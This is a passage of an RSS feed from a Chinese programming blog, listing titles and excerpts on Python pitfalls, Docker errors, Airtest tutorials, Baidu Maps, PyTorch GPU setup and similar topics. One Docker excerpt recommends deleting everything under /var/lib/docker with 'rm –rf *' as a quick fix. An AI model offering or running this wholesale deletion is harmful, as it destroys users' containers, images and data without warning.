      <description>作者：王易诺，人工智能算法工程师，Python/C++ 程序员，推理/科幻小说作者。曾于高中获得全国青少年信息学奥林匹克联赛一等奖。&#xA;现已取得复旦大学计算机科学技术学士学位，以及爱丁堡大学计算机科学硕士学位，目前正于东京大学攻读信息科学博士学位。&#xA;主要研究方向包括自然语言处理、深度学习中的跨模态任务等。&#xA;前 言 首先得声明一下，本文不是在黑 Python。&#xA;事实上已经有非常多的程序员朋友在用 Python 做项目，但在使用的过程中，也常常碰到过一些坑，凡用过一段时间的人也该深有体会。哪怕是资深大佬，很多时候也很难避免。&#xA;Python 的坑也许还有更多，很想听到各位的见解或经历，欢迎留言，小编将挑选 3 名精彩留言的读者，送上一本图灵 Python 类图书。（统计截止时间：11月9日 12:00）&#xA;What the f**k! Python！ GitHub 上有一个项目叫做 “wtfpython”，目的就是记录那些 Python 程序猿总会感到 “What the f**k!” 的瞬间。我把这个项目的地址贴在下面，然后从里面摘录几个最经典的例子出来。&#xA;https://github.com/satwikkansal/wtfpython 首先，一些关于字符串的 “基本” 操作 1&#xA;2&#xA;3&#xA;说明： 1. 这些行为是由于 Cpython 在编译优化时，某些情况下会尝试使用已经存在的不可变对象而不是每次都创建一个新对象。(这种行为被称作字符串的驻留[string interning])。&#xA;2. 发生驻留之后，许多变量可能指向内存中的相同字符串对象(从而节省内存)。&#xA;3. 在上面的代码中，字符串是隐式驻留的。何时发生隐式驻留则取决于具体的实现. 这里有一些方法可以用来猜测字符串是否会被驻留:&#xA;所有长度为 0 和长度为 1 的字符串都被驻留。&#xA;字符串在编译时被实现（‍‍‍‍‍‍‍‍‍‍‍‍‍‍ &#39;wtf&#39; 将被驻留，但是 &#39;&#39;.join([&#39;w&#39;, &#39;t&#39;, &#39;f&#39;]) 将不会被驻留）&#xA;字符串中只包含字母，数字或下划线时将会驻留，所以 &#39;wtf!&#39; 由于包含 ! 而未被驻留。&#xA;当在同一行将 a 和 b 的值设置为 &#34;</description>
    </item>
    <item>
      <title>常用浏览器WebDriver驱动下载地址汇总</title>
      <link>https://bchobby.github.io/posts/ec3a40dabce0669543436fe762f6e8f6/</link>
      <pubDate>Tue, 03 Nov 2020 16:04:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec3a40dabce0669543436fe762f6e8f6/</guid>
      <description>Chrome浏览器驱动下载地址：http://chromedriver.storage.googleapis.com/index.html&#xA;Firfox浏览器驱动下载地址：https://github.com/mozilla/geckodriver/releases&#xA;IE浏览器驱动下载地址：http://docs.seleniumhq.org/download/&#xA;Edge浏览器驱动下载地址：https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/&#xA;Safari:&#xA;https://webkit.org/blog/6900/webdriver-support-in-safari-10/</description>
    </item>
    <item>
      <title>docker报错：Cannot connect to the Docker daemon. Is the docker daemon running on this host?</title>
      <link>https://bchobby.github.io/posts/ad0bdd3a8db5171250c12cabeca476e7/</link>
      <pubDate>Tue, 03 Nov 2020 10:44:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad0bdd3a8db5171250c12cabeca476e7/</guid>
      <description>docker这种报错一般情况都是docker未启动对于这种情况只用重启docker就行了：&#xA;service docker restart&#xA;还有一种情况则是docker配置文件出错按照提示查看报错，并找到相应位置进行更改：&#xA;systemctl status docker.service 或 journalctl -xn&#xA;对于初学者且很难找到报错位置并改正的同学，推荐一个快速的方法—重装大法&#xA;cd /var/lib/docker&#xA;rm –rf *&#xA;service docker restart&#xA;ps:如果在删除docker文件时报错删除不了，可以选择删除docker或者暂停docker yum remove docker&#xA;ps：有一个同学使用Ubuntu安装遇到下面问题</description>
    </item>
    <item>
      <title>Docker 安装后 报 Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker da...</title>
      <link>https://bchobby.github.io/posts/fc3ae49ea459c4fcaebaab4ef35861cf/</link>
      <pubDate>Tue, 03 Nov 2020 10:43:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc3ae49ea459c4fcaebaab4ef35861cf/</guid>
      <description>刚在新的Centos上安装Docker,后运行docker run hello-world报错Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?&#xA;解决办法&#xA;$ systemctl daemon-reload&#xA;$ sudo service docker restart&#xA;$ sudo service docker status&#xA;$ sudo docker run hello-world</description>
    </item>
    <item>
      <title>不看后悔系列：Airtest干货教程汇总，赶紧mark起来！</title>
      <link>https://bchobby.github.io/posts/4009ad8fc2675051a7a6f25c78753fc8/</link>
      <pubDate>Tue, 03 Nov 2020 10:33:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4009ad8fc2675051a7a6f25c78753fc8/</guid>
      <description>版权声明：允许转载，但转载必须保留原链接；请勿用作商业或者非法用途&#xA;此文章来源于项目官方公众号：“AirtestProject”&#xA;前言 花了整整5个小时整理的Airtest教程干货汇总，赶紧先收藏起来以后慢慢看！&#xA;1.各种官方教程文档： 1）官方教程文档：https://airtest.doc.io.netease.com/&#xA;2）Airtest API文档：https://airtest.readthedocs.io/zh_CN/latest/&#xA;3）poco API文档：https://poco.readthedocs.io/zh_CN/latest/index.html&#xA;4）Airtest官方博客：https://juejin.im/user/1275089221067928&#xA;2.各种官网地址： 1）AirtestProject项目官网：http://airtest.netease.com/&#xA;2）AirtestIDE下载官网：http://airtest.netease.com/changelog.html&#xA;3）Airtest开源地址：https://github.com/AirtestProject/Airtest&#xA;4）poco开源地址：https://github.com/AirtestProject/Poco/&#xA;5）企业级自动化解决方案-私有云：https://airlab.163.com/b2b&#xA;3.与官方交流 1）官方公众号：AirtestProject&#xA;2）官方答疑Q群：1群437119175（已满）、2群1017250147（仅剩少量名额）&#xA;4.常见api的详细介绍 1）touch点击： https://mp.weixin.qq.com/s/rrAgQCjGKZs2pzgzG496HA&#xA;2）swipe滑动：https://mp.weixin.qq.com/s/EjVDlRtM99EW_Uw7M0dQ-Q&#xA;3）text输入： https://mp.weixin.qq.com/s/WyqNa9-riLIpzEBEemT2GQ&#xA;4）keyevent大全：https://mp.weixin.qq.com/s/HXZVd1uwaOd9gt7IVBGNDQ&#xA;5）Assert断言： https://mp.weixin.qq.com/s/DEe-Emyi0hN0JZA83i1Wmg&#xA;5.测试框架教程 1）poco的元素定位： https://mp.weixin.qq.com/s/PYI-kGWZCpoaxe2Tmw5d5Q&#xA;2）poco常用api介绍： https://mp.weixin.qq.com/s/PonBynNPfLqaWzp2oc689Q&#xA;3）在IDE中使用airtest-selenium：https://mp.weixin.qq.com/s/Fw5O8dXQ3bAX8UoyWuW9Lw&#xA;4）selenium常用api介绍：https://mp.weixin.qq.com/s/USSITxVH9ebueyIfSPhbSw&#xA;6.基础知识教程 坐标相关 1）Airtest和poco的坐标系介绍（绝对坐标与相对坐标）：https://mp.weixin.qq.com/s/6yu0gjCEZQ_x6NwEY_rBjQ&#xA;截图相关 2）截图识别失败、提高截图脚本兼容性01：https://mp.weixin.qq.com/s/M5RXb9Gts_nMGHODovjQew&#xA;3）截图识别失败、提高截图脚本兼容性02：https://mp.weixin.qq.com/s/lOK5lrBlmd6CGAleCZ1KwA&#xA;4）Airtest的截图识别算法介绍：https://mp.weixin.qq.com/s/cGFvU9C7mBpsmnWgDLPW5A&#xA;报告相关 5）生成、导出报告全攻略：https://mp.weixin.qq.com/s/NDCcs4egVFe4Bngg_qjfjA&#xA;6）用脚本实现自动发送测试报告到指定邮箱：https://mp.weixin.qq.com/s/a23cKOBYU9jOcw6VSEcBRg&#xA;7）用命令行生成、导出报告：https://mp.weixin.qq.com/s/bc-xcCmbgHLKP9cMdhS97g&#xA;iOS自动化 8）iOS应用自动化实操： https://mp.weixin.qq.com/s/XEqsOxIhXGjpGhUzCe4RXw&#xA;9）模拟清除iOS后台应用：https://mp.weixin.qq.com/s/wfXATdx_U5gpwIQcSQHe2g&#xA;Windows自动化 10）Windows自动化实操： https://mp.weixin.qq.com/s/SaBCwYHTF8mnNLjBlnzt7w&#xA;11）IDE连接Windows窗口相关问题：https://mp.weixin.qq.com/s/sFdxHOXt9nIM326pnK0UGw&#xA;设备连接相关 12）各种连接设备的接口介绍：https://mp.weixin.qq.com/s/znYi-eCifeMXfce9GDpW-w&#xA;13）连接安卓模拟器的常见问题：https://mp.weixin.qq.com/s/us4Jr9t21nNyKs-bGD9yyg&#xA;14）连接模拟器的案例实操：https://mp.weixin.qq.com/s/2_K4AKCfHQ59wgedXZ23wA&#xA;安卓微信小程序 15）测试安卓的微信小程序：https://mp.weixin.qq.com/s/R02Ac3ZC1B_ND7QVik_Z8Q&#xA;7.常见问题及解决办法 1）录制脚本运行的视频： https://mp.weixin.qq.com/s/3JsVjwikjo4OmtcjvmktRw&#xA;2）Yosemite输入法的相关问题：https://mp.weixin.qq.com/s/LnzToiXFVcfkeOGz8Vz9Pw&#xA;3）IDE的安卓小助手： https://mp.weixin.qq.com/s/EH0aQnr2AwG0MmFdgoE7mw&#xA;4）模拟滑动解锁、多指滑动等：https://mp.weixin.qq.com/s/JiIT0CkiY7zcdqUo-AI0GQ&#xA;5）局部截图和局部找图功能：https://mp.weixin.qq.com/s/Kd_EQit9UG5CLxw-EHM1Uw</description>
    </item>
    <item>
      <title>百度地图添加自定义边界值</title>
      <link>https://bchobby.github.io/posts/ea86c92390468817938438be616911d3/</link>
      <pubDate>Tue, 03 Nov 2020 10:07:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea86c92390468817938438be616911d3/</guid>
      <description>使用百度地图过程中常常需要给某个区域添加边界，这里有两种方法：&#xA;一种是使用百度地图自带的Boundary方法，通过输入区域名称可自动给地图添加边界&#xA;不足：这种方法只适用于省市区级行政区域的，如果想自定义区域增加边界，则不能使用该方法&#xA;code:&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=utf-8&#34; /&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;initial-scale=1.0, user-scalable=no&#34; /&amp;gt; &amp;lt;style type=&#34;text/css&#34;&amp;gt; body, html,#allmap {width: 100%;height: 100%;overflow: hidden;margin:0;font-family:&#34;微软雅黑&#34;;} &amp;lt;/style&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;http://api.map.baidu.com/api?v=2.0&amp;amp;ak=您的密钥&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;title&amp;gt;添加行政区划&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div id=&#34;allmap&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; // 百度地图API功能 var map = new BMap.Map(&#34;allmap&#34;); map.centerAndZoom(new BMap.Point(116.403765, 39.914850), 5); map.enableScrollWheelZoom(); function getBoundary(){ var bdary = new BMap.Boundary(); bdary.get(&#34;北京市海淀区&#34;, function(rs){ //获取行政区域 map.clearOverlays(); //清除地图覆盖物 var count = rs.boundaries.length; //行政区域的点有多少个 if (count === 0) { alert(&#39;未能获取当前输入行政区域&#39;); return ; } var pointArray = []; for (var i = 0; i &amp;lt; count; i++) { var ply = new BMap.</description>
    </item>
    <item>
      <title>python tkinter_Python&#43;tkinter开发一个电子宠物(1 开始）</title>
      <link>https://bchobby.github.io/posts/71ff82a942c902eb2b2764e5b5dcea18/</link>
      <pubDate>Tue, 03 Nov 2020 06:37:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71ff82a942c902eb2b2764e5b5dcea18/</guid>
      <description> 今天看到《码农》的一本杂志里的一篇文章，说用Python+PythonCarrd做一只电子宠物，于是好奇地用Python+tkinter做了起来&#xA;一、 绘制素材 我用的3D画图软件是MagicaVoxel，因为技术渣，啊不是，因为这不是重点，所以只是随便画画。&#xA;二、 思考算法 书上的太普通了，我要自己思考算法&#xA;把宠物的一天分为60个部分每部分24分钟，相当于人的一天宠物在50个部分醒着，10个部分睡觉宠物有饥饿度，伤心度，健康度，疲劳度，范围为1 ~ 10宠物可以睡觉，醒着却什么也不做，看病，吃饭，玩耍，散步所以要六张照片睡觉时，疲劳度每部分时间 - 2吃饭时，饥饿度每部分时间 - 2看病时，健康度每部分时间 - 2散步时，伤心度每部分时间 - 1 ，疲劳度每部分时间 + 1玩耍时，伤心度每部分时间 - 2 ，疲劳度每部分时间 + 2如果宠物睡觉时被叫醒（做任何事都回让宠物醒），伤心度 + 2如果饥饿度低于5，每部分时间伤心度增加 5 - 当前饥饿度如果饥饿度低于3，每部分时间健康度增加 3 - 当前饥饿度如果疲劳度高于7，宠物会睡到疲劳度低于 5在玩家关闭窗口后（在mainloop()函数后），将当前时间写入sqlite数据库在玩家再次打开游戏时，计算过去了多少部分时间，更改数值在玩家离线时，宠物会睡觉或醒着却什么也不做 三、 发布项目 我看了看上面的算法，觉得这是一个大项目，于是把他发布到了GitHub&#xA;项目地址是ttzc/ElectronicPet&#xA;天天早晨：Python+tkinter开发一个电子宠物(2 按钮）​zhuanlan.zhihu.com 本文同步发布在简书&#xA;Python+tkinter开发一个电子宠物(1 开始）​www.jianshu.com </description>
    </item>
    <item>
      <title>[解决]:【TeamViewer作为个人用途免费，但仅可使用在有限数量的设备上。您已经到达可使用设备的上线】</title>
      <link>https://bchobby.github.io/posts/f0e05445823d5255dcc700d29f671c2a/</link>
      <pubDate>Mon, 02 Nov 2020 22:18:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0e05445823d5255dcc700d29f671c2a/</guid>
      <description>问题： 解决： 登陆https://login.teamviewer.com/</description>
    </item>
    <item>
      <title>立体匹配 -- PSM-Net 网络模型代码剖析</title>
      <link>https://bchobby.github.io/posts/d09116bc599b6dc50684921b09cb9344/</link>
      <pubDate>Mon, 02 Nov 2020 17:03:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d09116bc599b6dc50684921b09cb9344/</guid>
      <description>只熟悉流程跑通代码不重要，重要的是理解网络的思想。GC-Net提出了3D-CNN编解码的形式做’cost volum ’ 后处理的过程，PSM-Net 加入图像金字塔的模块结合3D-CNN 输出图像视差图。&#xA;一. 特征提取模块 作者用 3层 33的小卷积核代替 77 的大卷积核，将图像降维1/2size. 虽然拥有同样大小的感受野，但深层的小 conv filter 显然有更少的参数，降低了计算成本。&#xA;def convbn(in_planes, out_planes, kernel_size, stride, pad, dilation): return nn.Sequential(nn.Conv2d(in_planes, out_planes, kernel_size=kernel_size, stride=stride, padding=dilation if dilation &amp;gt; 1 else pad, dilation = dilation, bias=False), nn.BatchNorm2d(out_planes)) 第一层 stride=2是为了降维输入图像 size,第二、三层是为了扩大感受野。 self.firstconv = nn.Sequential(convbn(3, 32, 3, 2, 1, 1), nn.ReLU(inplace=True), convbn(32, 32, 3, 1, 1, 1), nn.ReLU(inplace=True), convbn(32, 32, 3, 1, 1, 1), nn.ReLU(inplace=True)) conv1_x、conv2_x、conv3_x、conv4_x是提取二值特征的残差层。conv3_x、conv4_x使用了空洞卷积增大感受野，输出特征图的size是原图的1/4.&#xA;是不是又看到了大家熟悉的_make_layer ,别慌！一条条来！ self.</description>
    </item>
    <item>
      <title>C语言设计一个简单的计算器，完成两个数的加、减、乘、除、取余。（根据输入的运算符，选择相应的运算，用switch语句实现。</title>
      <link>https://bchobby.github.io/posts/93caf57510511585542630b6e1459462/</link>
      <pubDate>Mon, 02 Nov 2020 12:32:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93caf57510511585542630b6e1459462/</guid>
      <description> 设计一个简单的计算器，完成两个数的加、减、乘、除、取余。（根据输入的运算符，选择相应的运算，用switch语句实现。 实验代码：&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;math.h&amp;gt; int main() { double x,y; char c; printf(&#34;请输入算术表达式：&#34;); scanf(&#34;%lf%c%lf&#34;,&amp;amp;x,&amp;amp;c,&amp;amp;y); switch(c) { case &#39;+&#39; : printf(&#34;结果的值为：%lf\n&#34;,x+y);break; case &#39;-&#39; : printf(&#34;结果的值为：%lf\n&#34;,x-y);break; case &#39;x&#39; : case &#39;*&#39; :&#x9;printf(&#34;结果的值为：%lf\n&#34;,x*y);break; case &#39;/&#39; : printf(&#34;结果的值为：%0.3lf\n&#34;,x/y);break; case &#39;%&#39; : printf(&#34;结果的值为：%lf\n&#34;, fmod(x,y));break; default:printf(&#34;你输入的表达式有错误\n&#34;); } return 0; } 实验截图：&#xA;注意：x%y是对于整型数据才可以取余，而我们对于一个浮点数取余之时，我们需要采取math.h头文件、运用fmod函数。&#xA;case &#39;%&#39; : printf(&#34;结果的值为：%lf\n&#34;, fmod(x,y));break; </description>
    </item>
    <item>
      <title>celery概述</title>
      <link>https://bchobby.github.io/posts/04a7fcc2afd15aaee7e99c7af38f5e9b/</link>
      <pubDate>Mon, 02 Nov 2020 12:19:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04a7fcc2afd15aaee7e99c7af38f5e9b/</guid>
      <description>目录&#xA;1. 问题抛出&#xA;celery介绍&#xA;1. 快速入门（一）&#xA;1.1 Task Queue&#xA;1.2 celery 安装&#xA;1.3 broker&#xA;1.RabbitMQ&#xA;2.Redis&#xA;1.4 Application&#xA;1.创建应用&#xA;2.调用任务&#xA;3.存储结果&#xA;1.5 配置&#xA;1.直接通过app来配置&#xA;2.专有配置文件&#xA;2. 快速入门（二）&#xA;2.1 项目中使用celery&#xA;2.2 调用任务（Calling Task）&#xA;2.3 Designing Work-Flows&#xA;1. signature&#xA;2. Primitives&#xA;2.4 Routing&#xA;3. Periodic Tasks&#xA;4. Django调用celery&#xA;4.1 配置celery&#xA;1. 配置celery&#xA;4.2 保存任务结果&#xA;2. 存储任务结果&#xA;4.3 定时任务&#xA;3. 定时任务&#xA;1. 问题抛出 我们在做网站后端程序开发时，会碰到这样的需求：用户需要在我们的网站填写注册信息，我们发给用户一封注册激活邮件到用户邮箱，如果由于各种原因，这封邮件发送所需时间较长，那么客户端将会等待很久，造成不好的用户体验.&#xA;那么怎么解决这样的问题呢?&#xA;我们将耗时任务放到后台异步执行。不会影响用户其他操作。除了注册功能，例如上传，图形处理等等耗时的任务，都可以按照这种思路来解决。 如何实现异步执行任务呢？我们可使用celery。celery除了刚才所涉及到的异步执行任务之外，还可以实现定时处理某些任务。&#xA;celery介绍 Celery是一个功能完备即插即用的任务队列。它使得我们不需要考虑复杂的问题，使用非常简单。celery看起来似乎很庞大，本章节我们先对其进行简单的了解，然后再去学习其他一些高级特性。 celery适用异步处理问题，当发送邮件、或者文件上传, 图像处理等等一些比较耗时的操作，我们可将其异步执行，这样用户不需要等待很久，提高用户体验。 celery的特点是：</description>
    </item>
    <item>
      <title>图卷积网络原理（二）【图信号与图的拉普拉斯矩阵】</title>
      <link>https://bchobby.github.io/posts/aac3cb5496ce6a011f604c70da51c0cc/</link>
      <pubDate>Mon, 02 Nov 2020 00:51:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aac3cb5496ce6a011f604c70da51c0cc/</guid>
      <description>矩阵乘法的三种视角 后续图卷积网络的原理讲解主要以矩阵乘法的显示展开，这里介绍矩阵乘法的几种不同的视角，这些视角有助于我们理解图卷积网络的逻辑过程。&#xA;对于矩阵 A ∈ R m × n A\in R^{m\times n} A∈Rm×n 和 矩阵 B ∈ R n × p B \in R^{n\times p} B∈Rn×p，它们的乘积 C ∈ R m × p C \in R^{m \times p} C∈Rm×p，可以由如下三种视角计算得到。&#xA;內积视角：这是我们本科阶段就接触到的视角。矩阵 C C C 的第i 行第 j 列是由矩阵 A A A 的第 i i i 和矩阵 B B B 的第j列做內积运算得到。&#xA;即： c i , j = A i , ∗ × B ∗ , j = ∑ k = 1 n a i , k ∗ b k , j c_{i,j}=A_{i,*}\times B_{*,j}=\sum_{k=1}^{n} a_{i,k}*b_{k,j} ci,j​=Ai,∗​×B∗,j​=∑k=1n​ai,k​∗bk,j​。 A i , ∗ A_{i,*} Ai,∗​表示A的第i行， B ∗ , j B_{*,j} B∗,j​表示B的第j列。行向量视角：矩阵 C C C的第 i i i 行可以看做矩阵 B B B 的所有行向量以矩阵 A A A 的第i行为系数，线性组合而得到。这里的逻辑是：矩阵 C C C 的第 i i i 行的形状是 1 × p 1\times p 1×p,该形状与矩阵 B B B 的每一行的形状( 1 × p 1 \times p 1×p)是一致的。因此我们看可以把 C C C的第 i i i 行，看成是矩阵 B B B 的所有行的线性组合。那么组合过程的系数是谁呢？因为每次组合，需要对矩阵 B B B 的 m m m 个行向量进行组合，那么势必需要 m m m 个系数，每个系数负责去乘以一个行向量，很自然地 矩阵 A A A 的第 i i i 列 恰好是有 m m m 个元素的，可以充当系数。</description>
    </item>
    <item>
      <title>L1-019 谁先倒 (15分)</title>
      <link>https://bchobby.github.io/posts/01d5e1ead53b1ef01e8b75482930cb44/</link>
      <pubDate>Sun, 01 Nov 2020 19:19:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01d5e1ead53b1ef01e8b75482930cb44/</guid>
      <description>划拳是古老中国酒文化的一个有趣的组成部分。酒桌上两人划拳的方法为：每人口中喊出一个数字，同时用手比划出一个数字。如果谁比划出的数字正好等于两人喊出的数字之和，谁就输了，输家罚一杯酒。两人同赢或两人同输则继续下一轮，直到唯一的赢家出现。&#xA;下面给出甲、乙两人的酒量（最多能喝多少杯不倒）和划拳记录，请你判断两个人谁先倒。&#xA;输入格式：&#xA;输入第一行先后给出甲、乙两人的酒量（不超过100的非负整数），以空格分隔。下一行给出一个正整数N（≤100），随后N行，每行给出一轮划拳的记录，格式为：&#xA;甲喊 甲划 乙喊 乙划 其中喊是喊出的数字，划是划出的数字，均为不超过100的正整数（两只手一起划）。&#xA;输出格式：&#xA;在第一行中输出先倒下的那个人：A代表甲，B代表乙。第二行中输出没倒的那个人喝了多少杯。题目保证有一个人倒下。注意程序处理到有人倒下就终止，后面的数据不必处理。&#xA;输入样例：&#xA;1 1 6 8 10 9 12 5 10 5 10 3 8 5 12 12 18 1 13 4 16 12 15 15 1 1 16 输出样例：&#xA;A 1 #include &amp;lt;iostream&amp;gt; using namespace std; int main() { int A, B, a = 0, b = 0, N, a1, a2, b1, b2; cin &amp;gt;&amp;gt; A &amp;gt;&amp;gt; B &amp;gt;&amp;gt; N; for (int i = 0; i &amp;lt; N; ++i) { cin &amp;gt;&amp;gt; a1 &amp;gt;&amp;gt; a2 &amp;gt;&amp;gt; b1 &amp;gt;&amp;gt; b2; if (a1 + b1 == a2 &amp;amp;&amp;amp; a2 !</description>
    </item>
    <item>
      <title>python使用什么来表示不同级别的语句块-Python</title>
      <link>https://bchobby.github.io/posts/8b13a1f433b7715663d501da757c9dd9/</link>
      <pubDate>Sun, 01 Nov 2020 12:10:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b13a1f433b7715663d501da757c9dd9/</guid>
      <description>【简答题】&#xA;【简答题】请写出下列程序的运行结果: def add_b(): global b b = 42 def do_global(): #global b b = b + 10 print(b) do_global() print(b) add_b()&#xA;【简答题】什么是空字典和空集合?如何创建&#xA;【其它】QTP实验报告&#xA;【简答题】实现栈类(顺序栈跟链栈均可),并利用栈实现十进制到二进制的转换。 将源代码.py文件作为附件上传。&#xA;【填空题】流程图是描述 的常用工具。&#xA;【单选题】语句print(&#39;x=${:7.2f}&#39;.format(123.5678))执行后的输出结果是( )。选项中的 □代表空格。&#xA;【简答题】请大家把完整的、整理好的、修改过的、有得分的第一篇新闻听写提交到“答案”处。&#xA;【简答题】“拯救亚马逊雨林”堪称世界上最危险的战斗&#xA;【其它】LR相关作业&#xA;【简答题】下列 Python 语句的运行结果为 。 x= True y= False z= True if not x or y:print(1) elif not x or not y and z:print(2) elif not x or y or not y and x:print(3) else:print(4)&#xA;【简答题】</description>
    </item>
    <item>
      <title>python语言属于-Python语言属于(  )。_学小易找答案</title>
      <link>https://bchobby.github.io/posts/4181681683a9775039d9e21370839bbe/</link>
      <pubDate>Sun, 01 Nov 2020 12:04:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4181681683a9775039d9e21370839bbe/</guid>
      <description>【填空题】在 Python无穷循环 while True:的循环体中可以使用( )语句退出循环&#xA;【单选题】已知x=2并且y=3,复合赋值语句x*=y+5执行后x变量中的值是?&#xA;【单选题】在 Python 程序中对于表达式 123+ &#34;xyz &#34;, 解释器将抛出 ( ) 错误信息。&#xA;【单选题】如在类中存在有_value,则表示它是&#xA;【单选题】( )是 Python官方的扩展库命令,使用的较为普遍。&#xA;【单选题】下列选项中,( )的布尔值不是 Flase 。&#xA;【单选题】下列符号中,表示 Python 中单行注释的是( )。&#xA;【单选题】在下列选项中,不属于 Python特点的是( )。&#xA;【填空题】Python表达式10+5//3-True+ False的值为&#xA;【填空题】要使语句 for i in range(,-4,-1)循环执行3次,则循环变量的初值应当为( )&#xA;【填空题】若 a=4 , b=2 ,那么( a or b )的值为 __________ 。&#xA;【填空题】0b00001000&amp;gt;&amp;gt;3 的结果是 _________ 。&#xA;【单选题】s={&#39;a&#39;,1,&#39;b&#39;,2};print(s[&#39;b&#39;])的结果是&#xA;【单选题】数学关系式2&#xA;【填空题】下列 Python语句的输出结果是? x=y=[1, 2];x.append(3) print(y)&#xA;【填空题】送代器是一个对象,表示可送代的数据集合,包括(__iter__)方法和 ( )方法可实现选代功能。&#xA;【单选题】在 Python中一行书写两条语句时,语句之间可以使用作为分隔符&#xA;【填空题】若 a=10 ,那么 bin(a) 的值为 __________ 。</description>
    </item>
    <item>
      <title>css 粘性布局</title>
      <link>https://bchobby.github.io/posts/795255d863848e0e9dffc008ca7b6b7d/</link>
      <pubDate>Sat, 31 Oct 2020 16:54:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/795255d863848e0e9dffc008ca7b6b7d/</guid>
      <description> 一、粘性布局 position: sticky 配合 [left, right, top, bottom] 中一个即可实现粘性布局 二、坑 粘性布局只在其父元素空间内生效，且要实现 “粘性” 效果，对其父元素有以下要求，否则粘性效果会失效&#xA;（1）必须满足父元素在需要粘的轴上的空间 &amp;gt; 粘性布局子元素在需要粘的轴上的大小（例如子元素设置top/bottom粘垂直轴，父元素的高度需要大于子元素的高度，这样才有可以活动的空间嘛）&#xA;（2）父元素中不能设置 overflow: hidden 或 overflow: auto未同时设置 [left, right, top, bottom] 中一个会使得粘性效果消失sticky 粘性效果失效时，其表现与 relative 差不多 </description>
    </item>
    <item>
      <title>如何将pytorch的cpu版改成gpu版【实测成功】</title>
      <link>https://bchobby.github.io/posts/ce13f2447a740d69e2c6e33e7832fd71/</link>
      <pubDate>Sat, 31 Oct 2020 11:31:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce13f2447a740d69e2c6e33e7832fd71/</guid>
      <description>仅作为记录，大佬请跳过。&#xA;文章目录 背景下载安装手把手步骤 检验 背景 将pytorch的cpu版改成gpu版，这个问题困扰博主很长时间。&#xA;博主一直使用的是pytorch的cpu版，跑通了一些程序；但担心改装成gpu版本后，担心程序出现bug或其他未知的错误，一直不太敢改动。&#xA;之前一直在搜索pytorch的cpu版本和gpu版本能否共存的问题，但没有找到较好的解释；直到会议上，朋友提示使用anaconda建立新的environment去使用gpu版本时，我才敢大胆一试。（因为anaconda中不同environment中的包是互不干扰的，大不了就新建一个专门使用pytorch的gpu版本的environment，原来的pytorch的cpu版本不动。）&#xA;（后来发现，其实不用担心cpu版本和gpu版本是否可以共存的问题，因为在安装gpu版本时，系统会自动删除cpu版本）&#xA;下载安装 关键&#xA;在pytorch官网，再次进入生成命令中的链接，下载到本地，使用命令提示符的管理员模式安装。（即进行本地安装）&#xA;手把手步骤 1、进入pytorch官网，根据选择生成Run this Command：&#xA;（安装的话，第一步看到此即可，然后转到第二步）&#xA;各行选择解释：&#xA;PyTorch Build：稳定版和测试版，博主选择stable稳定版&#xA;Your OS：博主选择windows操作系统&#xA;Package：博主选择pip安装；pip是python自带的安装库的命令，conda应该是anaconda（一个python库管理的第三方软件平台）安装库的命令&#xA;Language：选择python，之前好像还要选择python版本&#xA;CUDA：这个是关键！none的话是按照pytorch的cpu版本，其他的是安装gpu版本。需要查看笔记本支持的gpu的cuda版本，然后选择。查看流程：进入桌面——鼠标右键——点击nvidia控制面板——帮助——系统信息——组件，即可找到笔记本上的cuda版本。&#xA;博主是cuda10.1，所以选择10.1&#xA;Run this Command:是自动生成的安装包的命令，将其复制到命令提示符，回车即可进行安装。但，博主根据大佬博主的指示，进行本地安装。&#xA;参考&#xA;传送门1&#xA;传送门2&#xA;2、第二步，进入生成的链接https://download.pytorch.org/whl/torch_stable.html（根据自己电脑生成的进入，不一定是此链接）&#xA;是这种页面：&#xA;3、选择Run this Command:中要求的版本，下载到磁盘根目录E盘下。&#xA;博主的显示需要下载3个：torch、torchvision、torchaudio&#xA;下载对应的版本：&#xA;4、命令提示符安装&#xA;命令提示符进入管理员模式——输入E:（因为地3步将文件下载到了E盘根目录）——输入pip install ……（带后缀的文件名）——回车安装&#xA;展示：&#xA;至此，pytorch的gpu版安装完成，（cpu版也已自动删除）&#xA;检验 博主想检验现在的pytorch是不是gpu版本，打开pycharm，1、输入&#xA;import torch print(torch.__version__) 显示：&#xA;2、删除代码，再输入&#xA;import torch print(torch.version.cuda) 显示：&#xA;3、不删除代码，再输入&#xA;print(torch.cuda.is_available()) print(torch.cuda.device_count()) 显示：&#xA;说明pytorch的cpu版改成gpu版，实测成功</description>
    </item>
    <item>
      <title>uniapp识别身份证</title>
      <link>https://bchobby.github.io/posts/9e711a0d8c863b58a1d975683bd71130/</link>
      <pubDate>Fri, 30 Oct 2020 16:18:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e711a0d8c863b58a1d975683bd71130/</guid>
